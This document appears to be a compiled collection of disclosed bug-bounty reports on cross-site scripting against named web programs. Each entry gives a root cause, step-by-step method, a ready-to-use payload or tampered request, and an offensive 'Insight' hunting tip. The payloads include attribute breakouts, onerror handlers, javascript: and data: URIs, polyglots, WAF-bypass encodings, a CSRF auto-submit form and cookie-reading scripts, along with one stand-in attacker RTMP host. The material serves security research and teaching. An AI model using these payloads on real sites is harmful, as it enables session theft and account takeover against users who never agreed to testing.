Insight — Any parameter that accepts an image/resource URL without a scheme allowlist is a data: URI injection sink. SVG + foreignObject smuggles arbitrary XHTML/meta into an 'image' context; use it to plant cookies (session-fixation building block), force redirects, or escalate to XSS where the SVG renders inline same-origin. Always test data: and SVG payloads against src/image_url/avatar/logo fields.
Real-world example
Stored XSS via image filename reflected into an HTML attribute
◆ Info
Specimen #19451 · uzbey · none · 2 votes · resolved
Program uzbeySurface webTag file-upload
Root cause
An uploaded image's filename is stored and later rendered into an <img> tag's attribute without encoding, so a crafted filename breaks out of the attribute and injects an onerror handler that fires when the broken image loads.
Method
- Create a photo gallery/album and upload an image whose filename contains an attribute breakout
- Publish the gallery; the filename is echoed into the img markup
- The image errors and the injected onerror runs (or clicking the error icon triggers it)
"onerror="alert(1)"a=".jpg
Insight — Filenames are user input: an image/attachment filename rendered into an HTML attribute is a stored-XSS sink. Craft the filename to close the current attribute and add onerror (images conveniently error and fire it). Test upload filenames, not just file contents.
Real-world example
Stored XSS via checkout billing/address fields
◆ Info
Specimen #20221 · expressionengine · none · 2 votes · resolved
Program expressionengineSurface web
Root cause
Order billing fields (name, street, city) are stored and re-rendered in the order/confirmation view without output encoding.
Method
- Add product to cart and proceed to billing
- Inject payload into First name, Last name, Street, Apt, City fields
- Place order; payload executes wherever the order details are displayed (including admin)
"><img src=x onerror=prompt(0);>
Insight — Checkout/address/order fields are classic stored-XSS sinks because they render in both the buyer confirmation and the merchant/admin order view; test every free-text order field.
Real-world example
Stored XSS via mobile-app API field (username) not sanitized server-side
◆ Info
Specimen #36986 · x · awarded · 2 votes · resolved
Program xSurface apiTag account-takeover
Root cause
The mobile app's PUT /users/<id> endpoint accepts a username value that is stored and rendered on the web profile without sanitization; the web form's own validation is bypassed by hitting the API directly.
Method
- Intercept the mobile app account-creation/update request (PUT /users/<id>)
- Set username to an XSS payload instead of a name
- Load the victim's web profile (vine.co/u/<id>) to fire it
PUT /users/1147563919679037440 HTTP/1.1
avatarUrl=...&username=<svg/onload=alert()>
Insight — Fields validated in the web UI are often unfiltered at the API layer; always replay profile/account writes through the raw API to find server-side gaps that the web form hides.
Real-world example
CSRF-to-stored-XSS in Concrete5 admin save endpoint
◆ Info
Specimen #42248 · concretecms · none · 2 votes · resolved
Program concretecmsSurface webChain CSRF (forced admin POST) -> stored XSS in admin panel -&gTag webhook
Root cause
Admin save endpoints (fileset add_to, community-points action save) lack CSRF tokens and store field values unsanitized, so a cross-site POST can plant a stored XSS payload that fires against the logged-in admin.
Method
- Host an auto-submitting form targeting the admin save endpoint (e.g. /tools/required/files/add_to)
- Put payload in the unsanitized text field (fsNewText / upaName / upaHandle)
- When an authenticated admin visits, the POST stores the payload
- Payload executes when the admin opens the corresponding management page
task=add_to_sets&fID[]=1&fsNew=1&fsNewText="><img src=0 onerror=alert(location)>&fsNewShare=1
Insight — Chain missing anti-CSRF on admin write endpoints with missing output encoding to convert a self-only stored XSS into an admin-targeted one; look for save/add endpoints without ccm_token.
Real-world example
Second-order stored XSS: API accepts raw HTML, one page skips output encoding
◆ Info
Specimen #42702 · vimeo · awarded · 2 votes · resolved
Program vimeoSurface apiTag account-takeover
Root cause
The channels API stores raw HTML/JS in channel name/description; most pages encode on output but the album-create select box and channel settings pages render it unencoded, producing stored XSS.
Method
- Use the API (PATCH /channels/<id>) to set channel name to an HTML/script payload
- Get a victim to subscribe to / moderate the channel
- Victim opens vimeo.com/album/create where the channel name populates a select box unencoded
PATCH /channels/855545
name=my channel<script>alert(document.cookie)</script>&privacy=anybody
Insight — When an API stores raw markup, the bug is a hunt for the ONE render path that forgot to encode; enumerate every page/widget (dropdowns, autocompletes, admin lists) that echoes the stored value.
Real-world example
Reflected XSS via HTML attribute breakout (event handler)
◆ Info
Specimen #43672 · vimeo · awarded · 2 votes · resolved
Program vimeoSurface web
Root cause
The user GET parameter is inserted into an HTML attribute without encoding, allowing a double-quote breakout to inject a new event-handler attribute.
Method
- Find a parameter reflected inside an HTML attribute value
- Break out with a quote and add an event handler attribute
- Deliver link; event fires on interaction
http://player.vimeo.com/hubnut/channel/830190?user="onmousemove="alert(1)"
Insight — When a value lands in an attribute (not between tags), you don't need <script> or < at all; a quote plus onmouseover/onmousemove is enough and evades naive tag-based filters.
Real-world example
Stored XSS in profile/name fields + signed-cookie flash-message payload vector
◆ Info
Specimen #45233 · mobilevikings · none · 2 votes · resolved
Program mobilevikingsSurface webChain stored XSS -> signed messages cookie carrying payload -&gTag crlf-http-splitting
Root cause
User-controlled name fields (direct-debit owner, username) are stored and rendered unencoded across account pages, and Django-style flash messages embed the same unescaped payload into a signed 'messages' cookie.
Method
- Set a name field (direct-debit owner / username) to an XSS payload
- Payload persists across account pages (easypay, history, auto-sms-topup)
- Trigger a flash-message action (e.g. suspend) and observe the signed messages cookie now contains the payload
- If the signed cookie can be set on the victim (another XSS/CRLF on the domain), it becomes a second XSS vector
asdf'"><script>alert(document.cookie)</script>
Insight — Framework flash-message systems reflect user data into a signed cookie; a stored XSS in a name field can double as a cookie-delivered XSS if you find any way to set the signed cookie, and also fires cross-user when actions name another account.
Real-world example
javascript: URI accepted in profile link field
◆ Info
Specimen #45484 · vimeo · awarded · 2 votes · resolved
Program vimeoSurface web
Root cause
A profile website/link field does not restrict the URL scheme, so a javascript: URI is stored and executes when the rendered link is clicked.
Method
- Go to profile settings and add a website/link
- Set the URL to a javascript: URI
- Click the rendered link to execute
javascript:alert(document.domain+"http://")
Insight — Any field that becomes an <a href> is a scheme-injection sink; always test javascript:/data: schemes on profile-website, homepage, and link fields, not just <script> injection.
Real-world example
Concrete5 content-block fields lack output encoding (broad stored XSS)
◆ Info
Specimen #50552 · concretecms · none · 2 votes · resolved
Program concretecmsSurface web
Root cause
Numerous Concrete5 content-block editable fields (page/list titles, testimonial name/position/company/URL, bio, feature paragraph, image alt text, no-results message) store and render values without output encoding.
Method
- Edit any content block field (title, testimonial, alt text, list message)
- Insert the payload and save
- View the rendered page/block to execute
"><img src=x onerror=alert(1)>
(alt-text variant) "><b onmouseover=alert('Wufff!')>click me!</b><"
Insight — When one CMS field is unencoded, the whole family usually is; enumerate every editable title/label/alt/message field rather than reporting one. Systemic missing output-encoding across a template layer.
Real-world example
XSS via date/time format-string field with backslash-escape filter bypass
◆ Info
Specimen #52822 · phabricator · awarded · 2 votes · resolved
Program phabricatorSurface web
Root cause
A user preference that is a date/time format string is filtered for tags, but backslash-escaping the tag characters bypasses the filter; the date formatter then strips the backslashes and emits a live HTML tag.
Method
- Set the Time-of-Day Format preference to a backslash-escaped img/script tag
- Open a page that renders a formatted timestamp (repository/diffusion file overview)
- Formatter un-escapes the payload into a real tag and it fires
'<\i\m\g \s\r\c=x \o\n\e\r\r\o\r=\a\l\e\r\t(\'X\S\S\')\>'
Insight — Format-string config fields (date/time/number formats) are overlooked XSS sinks; a downstream formatter that de-escapes characters can reconstitute a tag that passed the input filter. Try backslash/escape obfuscation against tag filters on formatter-processed fields.
Real-world example
Second-order XSS via a tool that scrapes and reflects remote HTML attributes
◆ Info
Specimen #56779 · shopify · awarded · 2 votes · resolved
Program shopifySurface web
Root cause
The Ecommerce Store Grader fetches an arbitrary URL and echoes back img src attribute values (for missing-alt warnings) without sanitization, so attacker-controlled markup on the scanned page executes in the grader's origin.
Method
- On a website you control, add an <img> whose src attribute contains a nested XSS payload
- Submit your site URL to the grader tool
- Grader displays the missing-ALT report echoing your src attribute unfiltered, firing XSS
<img src="111<img src=1 onerror=alert(123)>">
Insight — Any tool that fetches a remote page and reflects parts of its HTML (graders, SEO analyzers, link previews, meta scrapers) is a self-service second-order XSS surface; supply the payload via your own controlled site.
Real-world example
Reflected XSS via inline <script> context breakout
◆ Info
Specimen #60201 · mobilevikings · none · 2 votes · resolved
Program mobilevikingsSurface web
Root cause
User input is reflected inside an inline <script> block, so closing the script tag injects a fresh script element that executes.
Method
- Find a parameter reflected inside an inline <script> (often a JS string or config)
- Close the script tag and open a new one
- Load URL to execute
https://vikingco.com/en/home/tttttt</script><script>alert(0)</script>
Insight — When your input appears inside a <script> block, don't fight JS-string escaping; just close </script> and start a new tag. Grep reflected values for placement inside script bodies.
Real-world example
Multiple reflected XSS in Concrete5 admin params (polyglot breakout)
◆ Info
Specimen #62294 · concretecms · none · 2 votes · resolved
Program concretecmsSurface web
Root cause
Many Concrete5 5.7.3.1 admin endpoints reflect GET/POST params (channel, accessType, arHandle, msCountry, banned_word[], unit, etc.) into HTML without encoding.
Method
- Fuzz admin endpoint params with a context-breaking polyglot
- Observe reflection and execution
- Repeat across the many affected params/endpoints
'"--></style></scRipt><scRipt>alert(0x0044C4)</scRipt>
(attribute variant) '" onmouseover= alert(0x00047E)
Insight — A single mixed-context polyglot ('"--></style></script><script>...) plus an attribute variant ('" onmouseover=) rapidly finds reflected XSS across many params regardless of exact context; hex-tagged alert() distinguishes which param fired.
Real-world example
Cross-app stored XSS: main-store field rendered by a separate app subdomain
◆ Info
Specimen #62861 · shopify · awarded · 2 votes · resolved
Program shopifySurface web
Root cause
Product/collection/customer-group names entered in the main store are stored raw and rendered without encoding inside a separate app view (bulkdiscounts.shopifyapps.com / Discounts admin), where the app trusts store data as safe.
Method
- Set a product/collection name (or customer group name) to an XSS payload and save
- Install/open the app that consumes that data (Bulk Discount, Discounts)
- App view renders the name unencoded, firing XSS in the app origin
"><img src=x onerror=prompt(document.domain)>
Insight — Data is often sanitized (or trusted) at the app boundary, not re-encoded on consumption; injecting via the primary product/collection/group field and detonating in a secondary app/integration view is a reliable cross-context stored-XSS pattern.
Real-world example
Reflected XSS via array-parameter injection (param[])
◆ Info
Specimen #63888 · enter · awarded · 2 votes · resolved
Program enterSurface web
Root cause
Submitting email as an array (email[]=...) changes server-side handling so the value is reflected into the page as raw HTML on the login error/response.
Method
- Change a scalar param to array form (email -> email[])
- Set the array value to an HTML payload
- Submit; the value is reflected unencoded
email[]=<a onmouseover=alert(document.cookie)>xxs link</a>&password=g00dPa%24%24w0rD&_csrf=...
Insight — Converting a parameter to array notation (name[]) frequently bypasses type-specific validation/escaping and changes the reflection path; always retry blocked reflected-XSS attempts with []-array parameters.
Real-world example
Stored XSS in album/folder name field
◆ Info
Specimen #65324 · vkcom · none · 2 votes · resolved
Program vkcomSurface web
Root cause
A video album/folder name is stored and rendered unencoded on the album view.
Method
- Add a video, then create an album/folder
- Set the folder name to an XSS payload and save
- Open the album view / hover the 'Added' link to execute
"><img src=x onerror=prompt(1)>
Insight — User-nameable containers (albums, folders, playlists, groups) are common stored-XSS sinks; test the naming field of any collection object, especially nested/secondary ones missed by primary-form filters.
Real-world example
Reflected XSS via JS-context breakout in livechat tags param
◆ Info
Specimen #73566 · shopify · awarded · 2 votes · resolved
Program shopifySurface web
Root cause
The chat[tags] parameter is reflected inside a JavaScript function call/array literal, allowing a quote-and-paren breakout to inject executable JS that fires on the Start-chat action.
Method
- Load the livechat new-chat URL with chat[tags] set to a JS breakout payload
- Click Start chat
- Injected JS executes
https://livechat.shopify.com/customer/chats/new?chat[tags]=123']);alert(1);//
Insight — When input lands inside a JS call like foo(['...']), break the string and the call with ']); then comment out the trailing syntax with //. Classic JS-sink reflected XSS.
Real-world example
DOM XSS via location.hash reflected into a DOM sink
◆ Info
Specimen #83178 · owncloud · none · 2 votes · resolved
Program owncloudSurface web
Root cause
The page reads the URL fragment (location.hash) and writes it into the DOM without sanitization, so a payload after # executes client-side.
Method
- Append an XSS payload after the # in the URL
- Load the page; client-side JS injects the fragment into the DOM
- Payload executes without ever reaching the server
https://owncloud.com/#"><img src="z" onerror="prompt(2);">//
Insight — Fragment (#...) never hits the server, so server-side filters/WAFs are irrelevant; trace client JS from location.hash/href to sinks like innerHTML/document.write. Prime DOM-XSS source.
Real-world example
XSS via rich-text code-formatting toolbar failing to encode markup
◆ Info
Specimen #89505 · slack · awarded · 2 votes · resolved
Program slackSurface web
Root cause
In the Post editor, applying the inline-code (<>) formatting to typed markup renders the content without HTML-encoding, executing the injected tag.
Method
- Create a Post
- Type an XSS payload as text
- Select it and apply the code (<>) formatting
- Payload renders and executes
<svg onload=alert(domain)>
Insight — WYSIWYG/markdown code-formatting paths often bypass the sanitizer used for plain text; test each formatting toggle (code, quote, preformatted) separately as its own encoding context. Delivery is limited (own post) but shared Posts widen impact.
Real-world example
WAF bypass by injecting into the parameter NAME, not value
◆ Info
Specimen #98012 · algolia · awarded · 2 votes · resolved
Program algoliaSurface webTag cors
Root cause
User-controlled attribute names are echoed unescaped inside inline JavaScript; Cloudflare's WAF inspects parameter values far more strictly than parameter names, so moving the payload into the name evades it.
Method
- Generate a UI demo (Algolia explorer)
- Inspect the Primary attribute <input> and edit its name attribute
- Inject a JS-context payload into the name so it lands in the generated demo's inline JS
- Generate & share; payload executes for anyone opening the demo link (stored)
engine[primary_attribute]['+document.write`${unescape`%3cimg%20src%3dx%20onerror%3dalert%28document.domain%29%3e`}`+']
Insight — When a WAF blocks payloads in values, try the parameter NAME/key. Also: unescape`%3c...%3e` inside a template literal reconstructs blocked chars (<,>) at runtime to slip past filters; document.write`` uses tagged-template call to avoid parentheses.
Real-world example
Stored XSS via javascript: URI in a tracking-URL field
◆ Info
Specimen #106897 · shopify · awarded · 2 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
A user-supplied 'tracking URL' is rendered directly into an <a href> with no scheme allow-listing, so a javascript: URI executes when the admin clicks the link.
Method
- Create an order and fulfill the items
- PUT the fulfillment with tracking_urls[]=javascript:alert(1);// and a tracking_numbers label
- Open the order in admin and click the rendered tracking-number link -> JS runs
fulfillment%5Btracking_urls%5D%5B%5D=javascript%3Aalert(1)%3B%2F%2F&fulfillment%5Btracking_numbers%5D%5B%5D=TrackingNumber
Insight — Any field that becomes an href (tracking URL, homepage, profile link, webhook URL) is a javascript:-scheme sink. Test href/src fields with javascript:alert(1)// even when angle brackets are filtered.
Real-world example
Reflected XSS from a URL path segment reflected into an HTML attribute
◆ Info
Specimen #106982 · imgur · awarded · 2 votes · resolved
Program imgurSurface webTag account-takeover
Root cause
A path segment (username) is reflected into an HTML attribute without encoding; closing the attribute with "> lets you inject a new tag.
Method
- Put the breakout payload directly in the URL path where the username/segment is echoed
- Load in browser; the injected img/onerror fires
http://m.imgur.com/user/phoenixrachel%22%3E%3Cimg%20src=x%20onerror=alert(1)%3E
Insight — Reflected sinks are not only query params - path segments echoed into templates are equally injectable. Try %22%3E (">) to break out of the surrounding attribute.
Real-world example
Reflected XSS in a Cloudinary CORS helper page error param
◆ Info
Specimen #115438 · urbandictionary · none · 2 votes · resolved
Program urbandictionarySurface webTag cors
Root cause
cloudinary_cors.html echoes its ?error= query value into the page unescaped; the parameter is attacker-controllable via the URL.
Method
- Locate the Cloudinary upload helper page cloudinary_cors.html
- Append ?error=..."><img src=x onerror=alert(document.cookie)>
- Send the link to a victim
http://www.urbandictionary.com/cloudinary_cors.html?error=Invalid+image+file"><img src=x onerror=alert(document.cookie)>
Insight — Third-party integration helper pages (cloudinary_cors.html, upload callbacks, oembed) often reflect status/error params unescaped. Grep any site using Cloudinary for cloudinary_cors.html?error= as a recon shortcut.
Real-world example
Reflected XSS in an embeddable JS widget via polyglot context breakout
◆ Info
Specimen #125762 · eternal · none · 2 votes · resolved
Program eternalSurface webTag cors
Root cause
An embeddable search widget reflects its parameters into a JS string/HTML context; a polyglot payload closes whichever quoting/comment context is active and injects a script tag.
Method
- Open the widget generator/endpoint (res_search_widget.php)
- Supply the polyglot payload as a widget parameter
- Reflected output breaks out and executes
'-->">'>'"<script>prompt(document.domain)</script>;" f0r=TRUE
Insight — For widgets/embeds where you can't tell the exact context, a polyglot (mixing ', ", -->, >, <script>) breaks out of comment, attribute and JS-string contexts at once. Also test name-field reflections (dish/restaurant names) with '"> on the same program.
Real-world example
Stored XSS in admin-panel name/label fields (second-order rendering)
◆ Info
Specimen #137127 · veris · none · 2 votes · resolved
Program verisSurface webTag account-takeover
Root cause
Member/badge/key name and description fields are stored raw and later rendered unescaped in a different admin view than where they were entered, so the payload only fires on a second page.
Method
- Create a member/badge/key with the payload in the name or description
- Assign/associate it so it renders in the members or badge listing view
- Open that listing view; the stored payload executes
"><img src=x onerror=alert(1)>
Insight — Name/label/description fields that echo into a different view are classic second-order stored XSS. Fill every such field with a tagged payload ("><img src=x onerror=...>) and browse every admin view to find where it renders.
Real-world example
Reflected XSS in a 'route not found' error page path (IE/Edge)
◆ Info
Specimen #154319 · owncloud · none · 2 votes · resolved
Program owncloudSurface webTag cors
Root cause
The 404/'No route found' page echoes the requested URL path into the response body unescaped; IE/Edge do not URL-encode the path, so svg/onload in the path reaches the DOM.
Method
- Request a path containing <svg/onload=...> on the target
- Rendered error page reflects the path unescaped
- Deliver via a redirector so the raw (un-encoded) path is sent by IE/Edge
https://REDIRECT/x?r=https://TARGET/<svg/onload=alert(document.domain)>/%252e%252e
Insight — Framework error pages ('No route found for GET /...') are a reliable reflected-XSS sink - they echo the raw path. IE/Edge (and some redirect chains) send the path un-encoded. Always fuzz error/404 pages with path-based payloads.
Real-world example
Flash MIME sniffing via Content-Type string search bypasses nosniff and Rosetta patch
◆ Info
Specimen #78158 · ibb · 3000 · 1 votes · resolved
Program ibbSurface webChain Content-Type header injection -> Flash MIME confusion -&gTag file-upload
Root cause
Adobe Flash Player did a substring search for 'application/x-shockwave-flash' anywhere in the entire Content-Type header. Any endpoint that reflects attacker input into Content-Type (lang=, charset=, encoding params) can be made to render arbitrary file types as Flash, even with X-Content-Type-Options: nosniff set.
Method
- Find an endpoint that echoes user input into the Content-Type header (image/file servlet with a lang/encoding param)
- Upload a malicious SWF disguised as an allowed type (e.g. .png)
- Load it via <object type=application/x-shockwave-flash data=...RenderServlet?lang=application/x-shockwave-flash>
- Flash's substring match triggers and executes the SWF, bypassing nosniff and the Rosetta alphanumeric-only patch
Content-Type: image/png; charset=utf-8; lang=application/x-shockwave-flash
<object type="application/x-shockwave-flash" data="https://TARGET/RenderImageServlet.php?imgId=1234&lang=application/x-shockwave-flash"><param name="AllowScriptAccess" value="always"></object>
Insight — Any user-controlled fragment of a Content-Type header is dangerous. Legacy plugin/content sniffers do substring matching, so injecting a target MIME anywhere in the header (via lang/charset params or header injection) can force arbitrary content to be interpreted as that type, defeating nosniff.
Real-world example
IE content-sniffing XSS via package mirror files served as octet-stream
◆ Info
Specimen #126197 · uber · 750 · 1 votes · resolved
Program uberSurface webTag file-upload
Root cause
Files (.tar.gz package mirror) are served with Content-Type application/octet-stream and no X-Content-Type-Options: nosniff. IE scans the first 256 bytes for 'html' and, if found, renders the response as HTML, executing embedded script.
Method
- Find a service that mirrors/serves user-uploadable files without a correct MIME type or nosniff
- Build a package/file whose first bytes contain <html><script>...</script></html> (pypi: python setup.py sdist, then edit the .tar.gz and re-upload with twine)
- Get the file mirrored/served by the target
- Open the file URL in Internet Explorer -> script executes
<html><script>alert(0)</script></html>
Insight — Any download/mirror endpoint serving user content as octet-stream without nosniff is an IE content-sniffing XSS sink. Insert HTML into the first 256 bytes of the file. Archive validators (pypi) often don't verify structure, so you can blindly splice HTML into a .tar.gz.
Real-world example
IE-only XSS via CSS expression() in style params
◆ Info
Specimen #105659 · shopify · 500 · 1 votes · resolved
Program shopifySurface web
Root cause
Widget params (style, button-bg-color, padding) are injected into inline CSS. Legacy IE (<=10 / compatibility mode) evaluates CSS expression() as JavaScript, so a CSS-context injection becomes script execution.
Method
- Find params reflected into a style attribute or <style> block
- Break into a CSS property value and inject expression()
- Load in IE <=10 or IE compatibility mode
?style=artgallery&button-bg-color=expression(alert(1))
?padding=}%0a{}*{x:expression(alert(1))}%0a{
Insight — CSS-context injection is still XSS on legacy IE via expression(). When a param lands inside style/CSS and HTML-context breakout is filtered, try CSS expression() and dork the host (site:widgets.host) to find every affected endpoint.
Real-world example
CSRF-to-stored-XSS in cart line-item properties
◆ Info
Specimen #116006 · shopify · 500 · 1 votes · resolved
Program shopifySurface webChain CSRF (GET cart/add) -> stored XSS in cart property ->
Root cause
cart/add accepts GET and POST with no CSRF protection and stores arbitrary properties[] values; the properties[builder_id] value is later rendered unescaped in the cart UI, so it executes when the victim interacts (Remove).
Method
- Add a product to cart via GET cart/add with a malicious properties[builder_id] value (CSRF-able)
- Value is stored server-side against the victim's cart
- When the victim views the cart and clicks Remove, the unescaped property renders and executes
/cart/add?id=1106494145&properties[builder_id]=shapp_options_421549285_1455208671885');alert('XSS&add
Insight — State-changing GET endpoints that store user-controlled metadata (cart properties, custom fields) are both CSRF and stored-XSS sinks. Check every properties[]/attributes[] value for rendering context, and note that XSS often fires on a secondary action (Remove/Edit), not on add.
Real-world example
Second-order stored XSS via applies_to parameter tampering
◆ Info
Specimen #124429 · shopify · 500 · 1 votes · resolved
Program shopifySurface web
Root cause
A saved-search group name (stored elsewhere with a malicious value) is bound to a discount by tampering the discount save request (applies_to_resource=customer_saved_search, applies_to_id=<group id>); the group name is then rendered unescaped in the discount/free-shipping context.
Method
- Create a customer search group whose name is an XSS payload
- Create a discount with the Free Shipping option
- Intercept the save-discount POST and change discount[applies_to_resource] to customer_saved_search and discount[applies_to_id] to the group's id
- The group name is reflected unescaped where the discount applies -> XSS
Group name: "><img src=x onerror=prompt(7)>
POST tamper: discount[applies_to_resource]=customer_saved_search&discount[applies_to_id]=1131411463
Insight — Look for cross-feature object references you can rebind by tampering resource-type/resource-id pairs. A value stored innocuously in feature A can execute when force-bound into feature B that renders it in a new, unescaped context.
Real-world example
DOM XSS via URL fragment (location.hash) sink
◆ Info
Specimen #105688 · leaseweb · 100 · 1 votes · resolved
Program leasewebSurface web
Root cause
Client-side JS reads the URL fragment (after #) and writes it into the DOM without sanitization; the fragment is never sent to the server, so it executes purely client-side regardless of authentication.
Method
- Append a payload after # on the vulnerable page
- Client JS reflects location.hash into an HTML sink (innerHTML/document.write)
- Payload executes in the browser
https://TARGET/checkout-success/16893#"><img src=x onerror=alert(document.cookie)>
Insight — Test the URL fragment, not just query params. Fragment-based DOM XSS works unauthenticated and bypasses server-side WAFs because the # value never reaches the server. Trace location.hash/location.href into innerHTML/document.write sinks.
Real-world example
XSS via javascript:/data: URI in markdown link href
◆ Info
Specimen #116419 · slack · 100 · 1 votes · resolved
Program slackSurface web
Root cause
Markdown link syntax is rendered into an <a href> without validating the URL scheme, allowing javascript: and data:text/html URIs that execute on click.
Method
- Submit a markdown link with a script-bearing scheme in the help/comment field
- Rendered anchor points at javascript:/data: URI
- Clicking the link executes the script
[Click here](javascript:alert(document.domain))
[click this link](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
Insight — Anywhere markdown/rich-text links are rendered, test href scheme validation with javascript: and data:text/html;base64. HTML-tag filters often miss the anchor scheme, converting a benign-looking link into click-to-XSS.
Real-world example
Flash ExternalInterface XSS via unescaped media metadata (ID3/RTMP)
◆ Info
Specimen #29360 · x · awarded · 1 votes · resolved
Program xSurface web
Root cause
A Flash video player (video-js.swf) passes server/media metadata to JavaScript via ExternalInterface without escaping; because ExternalInterface serializes to a JS string, a crafted ID3 tag (or RTMP server-supplied field) breaks out of the generated JS and executes.
Method
- Point the SWF at an attacker RTMP server (rtmpConnection/rtmpStream) so no crossdomain policy is required
- Serve an mp3 whose ID3 title (or the RTMP server name field) contains a JS-breakout payload
- The player passes the metadata to ExternalInterface -> generated __flash__toXML JS is broken -> arbitrary JS runs
video-js.swf?eventProxyFunction=console.log&autoplay=true&rtmpStream=mp3:haha&rtmpConnection=rtmp://ATTACKER/
ID3 Title: \"})})))}finally{confirm(/moin/)}//
Insight — Flash/embedded players that hand server- or file-supplied metadata to ExternalInterface are XSS sinks: the metadata is concatenated into generated JS. Use an attacker-controlled RTMP source to defeat the crossdomain policy requirement and inject via ID3 tags or server-name fields.
Real-world example
Reflected XSS in inline-JS string context (quote + concat breakout)
◆ Info
Specimen #42582 · vimeo · awarded · 1 votes · resolved
Program vimeoSurface web
Root cause
A GET param is reflected inside a single-quoted JavaScript string literal without escaping; closing the quote and concatenating a function call injects executable JS.
Method
- Identify a param echoed into an inline <script> string value (set a canary and view source)
- Break out with '+PAYLOAD+' to stay syntactically valid
- Load the URL
?section_tab=xss'+alert(1)+'
?section_type=xss'+prompt(1)+'
Insight — When reflection lands inside a quoted JS string (not HTML), don't use tags. Use quote-close + string concatenation ('+payload+') so the surrounding JS stays valid. Check every param that feeds inline script config objects.
Real-world example
Stored XSS via third-party filename rendered unescaped
◆ Info
Specimen #72526 · thisdata · none · 1 votes · resolved
Program thisdataSurface web
Root cause
File names ingested from a connected third party (Dropbox) are rendered in the app's backup UI without escaping; a filename crafted to contain HTML executes when the file list is displayed.
Method
- Create a file on the connected third-party service with an HTML/JS filename
- Let the app sync/backup the file
- Open the app screen that lists filenames -> stored XSS
"><img src="x" onerror=alert(cookie)>.png
Insight — Data imported from integrations (Dropbox, Google Drive, GitHub, email) is attacker-controllable but often trusted. Filenames, repo names, and folder names are stored-XSS vectors when re-rendered. Test what the integration source lets you name things.
Real-world example
XSS in search suggestion / autocomplete dropdown
◆ Info
Specimen #76713 · zaption · awarded · 1 votes · resolved
Program zaptionSurface web
Root cause
The live search suggestion/autocomplete dropdown reflects the query term (and matching item titles) unescaped as you type, executing without a full page load.
Method
- Type an HTML-breaking string into the search box (or hit the search endpoint with it)
- The autocomplete/suggestion dropdown renders it unescaped
- Payload fires as the dropdown updates
/gallery/search?q="><img
(autocomplete) term="><img src=>
Insight — Autocomplete/suggestion endpoints are frequently forgotten by output-encoding and fire without navigation. Test the live dropdown, and note titles of already-uploaded items can carry stored payloads that render in others' search results.
Real-world example
IE-only reflected XSS from unencoded GET params in self-referential URLs
◆ Info
Specimen #83381 · owncloud · none · 1 votes · resolved
Program owncloudSurface web
Root cause
A URL-generation component echoes GET parameters (e.g. PHPSESSID) back into the page unescaped. Modern browsers URL-encode the params so it self-neutralizes, but Internet Explorer does not, so the raw payload reaches the sink in IE.
Method
- Find a param reflected into a self-referential URL/form action
- Confirm modern browsers encode it away, then test in IE where it is sent raw
- curl the endpoint and grep to confirm unescaped reflection
https://TARGET/content/search.php?PHPSESSID=">XSSHERE<script>alert(1)</script>
Insight — A reflection that looks safe in Chrome/Firefox may still be XSS in IE, which does not auto-encode GET params. When a payload self-neutralizes due to browser encoding, re-test in IE and confirm server-side reflection with curl+grep rather than trusting the browser.
Real-world example
Persistent XSS via tracking-pixel (.gif) endpoint reflecting referrer param
◆ Info
Specimen #96467 · imgur · awarded · 1 votes · resolved
Program imgurSurface web
Root cause
Analytics/tracking endpoints named like images (albumview.gif, imageview.gif) actually return HTML and reflect the r (referrer) param unescaped, so they execute script despite the .gif extension.
Method
- Hit the tracking endpoint with a crafted referrer/r param
- Endpoint returns HTML with the param reflected unescaped
- Script executes in the analytics host origin
https://p.imgur.com/albumview.gif?a=F78FO&r=https://community.imgur.com/"><script>alert(2)</script>
Insight — Don't skip endpoints with image/asset extensions. Analytics beacons (.gif/.png tracking pixels) often return HTML and reflect referrer/redirect params. Fuzz r=, ref=, url= on beacon endpoints for HTML reflection.
Real-world example
Reflected XSS in URL path segment
◆ Info
Specimen #111500 · automattic · awarded · 1 votes · resolved
Program automatticSurface web
Root cause
A dynamic URL path segment (a filter/category value) is reflected into HTML without encoding, so an HTML payload placed in the path executes.
Method
- Locate a path segment that is echoed into the page (filter/category/tag route)
- Insert an HTML payload as that segment (URL-encoded)
- Load the URL
https://TARGET/themes/filter/blog/type/"><img src=a onerror=alert(document.domain)>
Insight — REST-style path segments are reflection sinks just like query params. Enumerate route segments (/filter/X/type/Y/) and inject into each. Also test path reflection for path-based WAF gaps and browser-specific encoding (IE).
Real-world example
CSRF-delivered XSS in contact form fields
◆ Info
Specimen #115248 · eternal · none · 1 votes · resolved
Program eternalSurface webChain CSRF (auto-submit contact form) -> reflected XSS in name/
Root cause
The contact form reflects name/email field values unescaped, and the form lacks effective CSRF protection, so an attacker can auto-submit a payload cross-site that reflects and executes.
Method
- Build a CSRF auto-submit form POSTing to the contact endpoint
- Place XSS payloads in name/email fields
- Victim visiting the attacker page submits it; response reflects the payload and executes
<form action="https://www.zomato.com/contact" method="POST">
<input name="name" value="<script>alert(1)</script>">
<input name="email" value="x"><script>alert(document.cookie)</script>">
</form>
Insight — Contact/feedback forms reflecting submitted values in the response are XSS sinks; combined with weak CSRF they become deliverable to victims. Check whether the CSRF token is actually validated (often it isn't).
Real-world example
Reflected XSS in iframable widget/embed endpoints
◆ Info
Specimen #115560 · eternal · none · 1 votes · resolved
Program eternalSurface web
Root cause
Public widget/embed endpoints reflect params (city_id, language_id) unescaped into HTML/JS. Because they are designed to be framed, an attacker can iframe them on their own site to run JS in the target origin against any logged-in visitor.
Method
- Enumerate widget/embed endpoints (widgets/*.php)
- Fuzz each param for HTML/JS reflection
- Embed the malicious widget URL in an <iframe> on an attacker page
widgets/all_collections.php?city_id="><img src=x><script>alert(document.domain)</script>&...
widgets/o2.php?...&language_id="}');alert(document.domain);console.log('
Insight — Embed/widget endpoints are a rich, under-tested surface: they reflect config params, are meant to be iframed, and run in the parent origin. Google-dork the widget host and fuzz every widget param.
Real-world example
Persistent XSS in profile name inside an attribute (iframe) context
◆ Info
Specimen #116254 · owncloud · none · 1 votes · resolved
Program owncloudSurface web
Root cause
First/last name fields are placed inside an HTML attribute of an <iframe> tag without quote encoding, so a quote breaks out of the attribute and injects markup that persists on the profile.
Method
- Set first/last name containing a quote to break the attribute, then inject
- Save profile
- Rendering the profile executes the payload
First name payload breaking an <iframe ...> attribute via unescaped quotation marks (e.g. "><img src=x onerror=alert(1)>)
Insight — Identify the exact context of reflection: names rendered inside tag attributes need only an unescaped quote to break out. Persistent profile fields viewable by others enable session theft / BeEF hooking.
Real-world example
Systemic stored XSS from missing output encoding across shared portal fields
